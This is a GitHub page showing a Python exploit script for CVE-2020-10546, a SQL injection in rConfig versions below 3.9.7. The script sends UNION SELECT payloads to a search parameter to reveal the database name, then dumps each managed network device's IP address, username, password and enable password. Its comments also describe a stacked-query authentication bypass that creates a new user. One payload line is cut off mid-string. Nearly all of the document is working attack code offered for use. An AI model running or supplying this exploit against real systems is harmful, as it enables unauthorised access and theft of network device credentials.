theguly / exploits Public

Code Issues Pull requests Actions Projects Security Insights

master

exploits / CVE-2020-10546.py / <> Jump to

theguly rconfig History

1 contributor

69 lines (57 sloc) | 2.29 KB

```python
#!/usr/bin/python3
# CVE-2020-10546
# author https://github.com/theguly/
#
# this method is very similar to one already published by v1k1ngfr for his CVE-2020-10220 (https://github.com/v1k1ngfr/exploits-rconfig)
# as he published, because of PDO DB Class SNAFU, you could also stack two queries having a plain INSERT and achieve auth bypass by creating a new user
#
# i wanted to have different py script foreach CVE, to have a proper listing on github.
# i'd prefer a all-in-one script with proper align for the different union arguments, but i expect i won't use this script anymore so i'll deal with it.
#
# tested with rConfig < 3.9.7

import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


burl = """/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+%s"""
ulen = 3

if len(sys.argv) < 2:
    print('use: ./{} target'.format(sys.argv[0]))
    print('./{} https://1.2.3.4/'.format(sys.argv[0]))
    sys.exit()

url = sys.argv[1] + burl

s = requests.Session()
s.verify = False

def getInfo(purl):
    r = s.get(purl)
    if '[PWN]' in str(r.text):
        ret = str(r.text).split('[PWN]')[1]
        return ret
    else:
        return False

def askContinue(msg):
    c = input('[-] '+msg+' (Y/n)')
    if 'n' in c.lower():
        sys.exit()

# find current db name
print("[+] extracting rconfig db: ",end='')
payload = "union+select+(select+concat(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)+limit+0,1)"+",NULL"*(ulen - 1)+"+--+"
purl = url % payload
dbname = getInfo(purl)
print(dbname)

# dump all devices ip,username,password,enablepass
print("[+] dumping nodes: ")
print('devicename:ip:username:password:enablepass')
print('------------------------------------------')
i=0
while True:
    if i > 0 and not i % 10:
        askContinue('Continue?')

    payload ="union+all+select+(select+concat(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C
    purl = url % payload
    n = getInfo(purl)
    if not n:
        askContinue('it could be possible that we don\'t have more devices. continue?')
    print(n)
    i = i + 1

sys.exit()
```